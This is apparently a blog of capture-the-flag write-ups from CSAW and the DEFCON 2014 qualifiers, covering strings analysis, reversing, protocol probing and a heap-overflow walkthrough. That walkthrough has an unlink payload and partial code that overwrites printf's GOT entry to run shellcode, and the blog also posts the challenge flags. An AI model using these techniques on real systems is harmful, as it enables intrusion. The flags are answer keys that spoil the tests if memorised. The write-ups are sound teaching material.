Monday, September 22, 2014

CSAW Exploitation 100

Exploit100 - bo

When connected to the challenge, the program printed out 

"Welcome to CSAW CTF!
Time to break out IDA Demo and see what's going on inside me.  :]"

So I opened it up in IDA and looked at the strings.


.rodata:08049300   00000016 C "Welcome to CSAW CTF!\n"                                               
.rodata:08049318   00000044 C "Time to break out IDA Demo and see whats going on inside me.  :]\n\n"
.rodata:0804935C   0000001C C "flag{exploitation_is_easy!}"                                          
.rodata:08049378   0000001E C "Unable to set SIGCHLD handler"                                        
.rodata:08049396   00000018 C "Unable to create socket "                                             
.rodata:080493B0   00000022 C "Unable to set socket reuse option"                                    
.rodata:080493D2   00000016 C "Unable to bind socket"                                                
.rodata:080493E8   0000001B C "Unable to listen on socket"                                           
.rodata:08049403   00000014 C "Unable to find user"                                                  
.rodata:08049417   0000001E C "Unable to remove extra groups"                                        
.rodata:08049435   00000015 C "Unable to change GID "                                                
.rodata:0804944A   00000015 C "Unable to change UID "                                                
.rodata:08049460   00000023 C "Unable to change current directory"                                   
.rodata:08049483   0000000D C "/dev/urandom"                                                       
.eh_frame:0804954B 00000005 C ";*2$\"                                                               

oh look, the flag

flag{exploitation_is_easy!}                                                   

-wardawg

CSAW 2014 Forensics 200(2) Obscurity

CSAW Writeups Forensics 200- Obscurity
This problem had 635 solves by the end of the competition. It was fairly easy.
It provided you with a file: pdf.pdf . The first thing I did after looking at the file is analyze it with scalpel and HxD to look for fun things inside the file. I didn't see anything, so I took another look at the pdf in Adobe Reader. There was a suspicious amount of whitespace at the top of the file, so I Edit>Select All and saw a suspicious blue box in the middle of the picture. Surprise! There was a key hidden beneath the photo. 'flag{security_through_obscurity}'
Thanks for reading!

-blkbrd

CSAW REV100 and REV200

Rev100 - Challenge consisted of a bunch of python files. Trying to run main failed on utils.pyc. Opening the file in notepad++ showed a link to http://kchung.co/lol.py, which had the flag as a comment,

# flag{trust_is_risky}


Rev200 - This problem was specifically noted as very similar to last years, which printed the key if a debugger was present. Inspection of the code shows a debug check, with producing a message box with no debugger, and debugger breakpoint otherwise.


According to the code, the pointer to the flag is incremented before printing. The same code block, this time without the increment was available, but never ran. Running both of these however, did not produce the flag. Thus, this was not the solution. The only other option was the function below, called after the debug breakpoint.



It appears to do some sort of decryption, but never prints. Examining memory shows the flag.


flag{reversing_is_not_that_hard!}

-albntomat0

Saturday, May 31, 2014

DEFCON 2014 quals - Baby First Heap

As the name of the challenge might imply, the given elf file was a pwnable with a heap overflow vulnerability. The program informed us of the allocator version 2.6.1 by Douglas Lee then proceeded to malloc twenty blocks of memory. There is one block that is always the given size of 260 bytes, which is where our input will be placed.
Ex. Output:
[ALLOC][loc=9449058][size=755]
[ALLOC][loc=9449350][size=260]
[ALLOC][loc=9449458][size=877]
[ALLOC][loc=94497D0][size=1245]
[ALLOC][loc=9449CB8][size=1047]
[ALLOC][loc=944A0D8][size=1152]
[ALLOC][loc=944A560][size=1047]
[ALLOC][loc=944A980][size=1059]
[ALLOC][loc=944ADA8][size=906]
[ALLOC][loc=944B138][size=879]
[ALLOC][loc=944B4B0][size=823]
Write to object [size=260]:

The user is able to give 4096 bytes of code, given in the following segment.
.text:08048A6B                 mov     dword ptr [esp+4], 4096 ; number of input bytes
.text:08048A73                 lea     eax, [esp+330h]
.text:08048A7A                 mov     [esp], eax      ; write location
.text:08048A7D                 call    get_my_line

At this point, it becomes the black magic that is a heap overflow. The nature of exploiting a heap overflow with a bad free is to overwrite the header in a manner where we are able to direct an arbitrary write. Writing over the header of the next block with 0xfffffffc, corrupts unlink method when the 260 memory block is being freed. At this point our exploit looks like:
python -c 'import struct;print "BBBB"+"CCCC"+"A"*252 + struct.pack("<I",0xfffffffc)'

Running this segfaults. Using a debugger gives us the following output, which we will step through in a second.
--------------------------------------------------------------------------[regs]
  EAX: 0x42424242  EBX: 0xF7FBBFF4  ECX: 0x0804D004  EDX: 0x43434343  o d I t s z A P c 
  ESI: 0x00000000  EDI: 0x00000000  EBP: 0xFFFFC128  ESP: 0xFFFFC0F0  EIP: 0x080493F6
  CS: 0023  DS: 002B  ES: 002B  FS: 0000  GS: 0063  SS: 002B
--------------------------------------------------------------------------[code]
=> 0x80493f6 : mov    DWORD PTR [eax+0x8],edx
   0x80493f9 : mov    eax,DWORD PTR [ebp-0x24]
   0x80493fc : mov    edx,DWORD PTR [ebp-0x28]
   0x80493ff : mov    DWORD PTR [eax+0x4],edx

If you do a bit of reading on heap overflows with regards to abusing the unlink method, you will realize that at location 0x80493f6, the program attempts to write our second four bytes into the memory location represented by our first four bytes plus eight. In location 0x80493ff, our first four bytes will be written to the location pointed two by the second four bytes plus four. We could try to rebuild all the blocks that come after our exploit, but that would we incredibly difficult. After reading for a bit, it was recommended by some to overwrite the GOT entry for free with the location of our buffer. Since the free was not dynamically linked, we needed to find something else. Before it freed each block, it printed which block was being freed. This can be seen in:
.text:08048ADB                 mov     eax, offset aFreeAddressX ; "[FREE][address=%X]\n"
.text:08048AE0                 mov     [esp+4], edx
.text:08048AE4                 mov     [esp], eax      ; format
.text:08048AE7                 call    _printf
.text:08048AEC                 mov     eax, [esp+133Ch]
.text:08048AF3                 mov     eax, [esp+eax*8+10h]
.text:08048AF7                 mov     [esp], eax      ; mem
.text:08048AFA                 call    free

The printf function was dynamically linked. When coupled with the lack of RELRO, I decided to overwrite the GOT entry for printf with the location of our shellcode (Location of input + 8 bytes). The locations to write could be determined as the program ran over the wire since it printed out each location from our first example block. Some example code determining the locations using the pexpect library is shown:
s = socket.socket()
s.connect(("babyfirst-heap_33ecf0ad56efc1b322088f95dd98827c.2014.shallweplayaga.me", 4088))
so = fdpexpect.fdspawn(s)
so.expect("ALLOC")
so.expect("size=260")
parse = so.before[-9:-2]
so.expect("]:")
ourBuff = str("0x"+parse)
print hex(int(ourBuff , 16))
exploit = struct.pack("<I", hex(int(ourBuff , 16)))
exploit += struct.pack("<I", printfLoc-4)
When printf is called after out malformed block gets freed, our shellcode is run instead, allowing us to get the flag. If you have any questions, feel free to ask!

--Imp3rial

Tuesday, May 27, 2014

DEFCON 2014 quals - Zombies

This challenge consisted of a scripting game. The player was asked to choose a gun and pistol, and then use them to save 100 puppies from attacking zombies.

To shoot a zombie, the player had to give the weapon used (pistol or rifle), and the angle, distance and height of the shot (zombies and puppies exist on a 2D grid relative to the player. For the first 10 rounds the zombie would be stationary. However, the final 90 rounds had a moving zombie. For this, the player was given the location of the zombie and puppy, and the time it would take for the zombie to get to the puppy. While we initially expected that the player and puppy would begin to move in later rounds, this thankfully never happened.

For the first 10 rounds, we used physics to calculate bullet drop due to gravity, and basic trig to get the angle.

For the remaining 90 rounds, we calculated the ratio of the time at which we would shoot the zombie over time it would have taken that zombie to reach the puppy. This was multiplied by the distance between the two, and added to the zombie's initial location to get the location of the zombie at time of the shot. Additionally, we had to integrate bullet drop in both the height and angle of shot.

Even with this, we would occasionally get unexpected failures (<5%). We compensated for this by starting many connections, and one eventually hit 100%

-albntomat0

Code
from __future__ import division
import socket,math,time
ip = 'zombies_8977dda19ee030d0ea35e97ad2439319.2014.shallweplayaga.me'
port = 20689

def main():
 s = socket.socket()
 s.connect((ip,port))

 print(s.recv(1024))
 print("test")
 s.send("2\n")
 print("[+] Sent gun choice")
 print(s.recv(1024))
 s.send("3\n")
 print("[+] Sent pistol choice")
 for i in range(9):
  res = (s.recv(1024))
  print(res)
  temp = res.split(" ")
  numbers = []
  print("##########################")
  for a in temp:
   if a[:-1].isdigit():
    numbers += [a[:-1]]
    print(a)
  print("###########################")
  dist = numbers[len(numbers)-2]
  height = numbers[len(numbers)-1]
  print("dist is: " + dist)
  print("height is " + height)
  shoot(s,int(height),int(dist))
 while(True):
  res = (s.recv(1024))
  print(res)
  temp = res.split(" ")
  ztime = []
  numbers = []
  for a in temp:
   if a.isdigit(): #ztime value
    ztime += [a]
   elif a[:-1].isdigit(): #distance value
    numbers += [a[:-1]]
  print(ztime)
  print("#####")
  print(numbers)
  zdist = int(numbers[len(numbers)-4])
  zheight = int(numbers[len(numbers)-3])
  pdist = int(numbers[len(numbers)-2])
  pheight = int(numbers[len(numbers)-1])
  currTime = 1
  finTime = int(ztime[0])
  print("pdist is: " + str(pdist))
  print("pheight is " + str(pheight))
  print("zdist is: " + str(zdist))
  print("zheight is " + str(zheight))
  for z in range(2):
   print(s.recv(64))
   currTime += 1
  shoot2(s,zheight,zdist,pheight,pdist,currTime,finTime)
  #print(s.recv(1024))

def shoot2(s,zombieHIn,zombieDIn,puppieHIn,puppieDIn,currTime,finalTime):
 rifle = 975.0
 pist = 375.0
 weapon = "r"
 ztimeRatio = currTime/finalTime
 heightIn = (puppieHIn - zombieHIn) * ztimeRatio + zombieHIn
 distanceIn = (puppieDIn - zombieDIn) * ztimeRatio + zombieDIn
 print("Time " + str(ztimeRatio))
 print("Height Target " + str(heightIn))
 print("Dist Target " + str(distanceIn))
 direct = math.hypot(distanceIn,heightIn)
 if(direct < 50):
  print("[+] using pistol")
  weapon = "p"
  ztime = direct/pist
 else:
  ztime = direct/rifle
 drop = 4.9 * ztime * ztime
 print("here")
 print(ztime)
 print(drop)
 height = heightIn + drop
 distance = distanceIn#before lead
 distance = distance + ((puppieDIn - zombieDIn)/finalTime * ztime)
 
 rad = math.atan2(height,distanceIn)
 angle = math.degrees(rad)

 response = weapon + ", " + str(angle) + " , " + str(distanceIn) + " , " + str(heightIn)
 print("[+] Firing: " + response)
 s.send(response + "\n")

def shoot(s,heightIn,distanceIn):
 rifle = 975.0
 pist = 375.0
 weapon = "r"
 direct = math.hypot(distanceIn,heightIn)
 if(direct < 50):
  print("[+] using pistol")
  weapon = "p"
  ztime = direct/pist
 else:
  ztime = direct/rifle
 drop = 4.9 * ztime * ztime
 print("here")
 print(ztime)
 print(drop)
 height = heightIn + drop
 distance = distanceIn
 rad = math.atan2(height,distance)
 angle = math.degrees(rad)
 response = weapon + "," + str(angle) + "," + str(distance) + "," + str(height+drop)
 print("[+] Firing: " + response)
 s.send(response + "\n")

main()

Sunday, May 25, 2014

DEFCON 2014 quals - Fritas

Fritas
Fritas:
fritas_91a318f87f384a080595696b3c73fc39.2014.shallweplayaga.me 6908
For the sake of brevity we will call the address fritas.net. Despite the fact that our mothers taught us all not to talk to strangers, the first thing we all do when presented with a strange address/port is talk to it. Connecting to the port with netcat a few times gave us the interesting interaction:
$nc fritas.net 6908
&
$aufy7df9-ase4-1234-00acd0001
$nc fritas.net 6908
&
$aufy7df9-ase4-1234-00ace0001
$nc fritas.net 6908
&
$aufy7df9-ase4-1234-00ad20001

The first line makes no sense, but the second one appears to be some sort of UUID that increments all but the last 4 digits, which are always 0001. We want to take a closer look at the data so we create a simple Python script to connect to it and display:
from socket import socket
HOST = (‘fritas.net’,6908)
s = socket()
print repr(s.connect(HOST).read(1024))
repr allows us to print the data so that non printable bytes are printed in their hex representation. It is good practice when printing unknown data for analysis and it pays off!
$python fritas.py
\x00\x00\x00\x00&\n$aufy7df9-ase4-1234-00ae20001
This looks like it could be a handshake so we modify fritas.py to send the data we get back.
$python fritas.py
\x01\x00\x00\x00
This is a good sign, and it is beginning to look like this challenge is protocol busting. We modify the python to send back a modified Hello with the first byte incrementing every time from 1 to 255. For some codes we get interesting behavior:
$python fritas.py
1 : Expected Hello, got Fritas::Messages::Ready
11: Expected Hello, got Fritas::Messages::StorePostReq
14: Expected Hello, got Fritas::Messages::GetPostResp
15: Expected Hello, got Fritas::Messages::ListPostReq
21: Expected Hello, got Fritas::Messages::ListTagReq
31: Expected Hello, got Fritas::Messages::GetRelatedTagReq
From the replies to these messages we can determine that the protocol consists of:
And the data consists of section preceded by two bytes, the first of which appeared to be a flag (usually a newline) and the second was the length of the section. It also appears that every Req has a code that is one less than its corresponding Resp. We crafted a request with no data to list posts and list tags. Each tag had a TagID which matched the UUID except the last 4 digits which were 0002 through 0008. So if your uuid was xxxxxx-xxxx-xxxx-xxxx0001, the first post would be xxxxxx-xxxx-xxxx-xxxx0002. The tags were all random collections of 20 letters and numbers. We sent a “GetPostReq” for each post revealing that post 0002 was password protected while all the other posts contained their TagID, a header (preceded by the ‘\n’ flag) and a body (preceded by the ‘\x12’ flag). Each post also had two tags with it, which presented an interesting issue: one of the tags from the ListTagReq was un accounted for! We figured it was probably related to the password protected post. WHY NOT GET RELATED TAGS! Sending a GetRelatedTagReq with the data section containing a tag returns a large data structure, one element in the structure contained the line “password=X” where X is about 20 random characters. After some trial and errors, we settle on sending the GetPostReq with the format: <code>\nTagID\x12 This request returned the post containing the flag! As a side note, the name of the challenge “Fritas” is a type of beef cake. This is a clue, as the server for this challenge is implemented using the beefcake ruby library https://github.com/protobuf-ruby/beefcake which is a ruby implementation of the Google protobuf https://code.google.com/p/protobuf/ which is worth looking into.

Monday, May 19, 2014

DEFCON 2014 quals - HackerTool

The question said "hey, we need to check that your connection works, torrent this file and md5 it." The file in question was huge, and downloading it via torrent seemed likely to take too long. Using our torrent tool, we told it to prefer the beginning and ending blocks. Looking at the partial download, we saw:
0.0.0.0
0.0.0.1
...
255.255.255.254
255.255.255.255

We were troubled by the fact that the instructions said all flags would begin with "The flag is:" (and we weren't going to have that) but decided to go for it and compute the MD5 sum of what we believed the file to be (slightly encouraged by the name of the file referring to every IP address).
The Ada program below correctly computed the MD5 (we also implemented this in Python, but the compiled language ran much faster).

WITH Ada.Text_IO;
with gnat.md5;
PROCEDURE Every_Ip IS
   FUNCTION To_String(X : IN Integer) return String IS
      s : string := integer'image(x);
   BEGIN
      RETURN S(S'First+1..S'Last);
   END To_String;
   context : gnat.md5.context := gnat.md5.initial_context;
BEGIN
   FOR I IN 0..255 LOOP
      ada.Text_IO.put_line(integer'image(i));
      FOR J IN 0..255 LOOP
         FOR K IN 0..255 LOOP
            for l in 0..255 loop
            gnat.md5.update(context,to_string(i)&"."&to_string(j)&"."&to_string(k)&"."&to_string(l)&ascii.lf);
      END LOOP;
    END LOOP;
      END LOOP;
   END LOOP;
   ada.Text_IO.put_line(gnat.md5.digest(context));
end every_ip;